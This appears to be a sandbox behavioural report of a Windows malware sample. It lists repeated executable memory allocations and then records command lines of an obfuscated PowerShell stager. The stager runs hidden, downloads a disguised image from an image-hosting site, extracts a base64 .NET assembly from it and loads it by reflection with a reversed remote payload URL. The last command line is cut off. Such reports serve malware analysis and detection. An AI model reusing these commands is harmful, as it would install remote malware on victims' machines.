allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0252b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02527000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02900000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0252c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02513000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02514000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02515000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02516000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02517000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02518000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02519000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a1f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"
cmdline powershell -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░H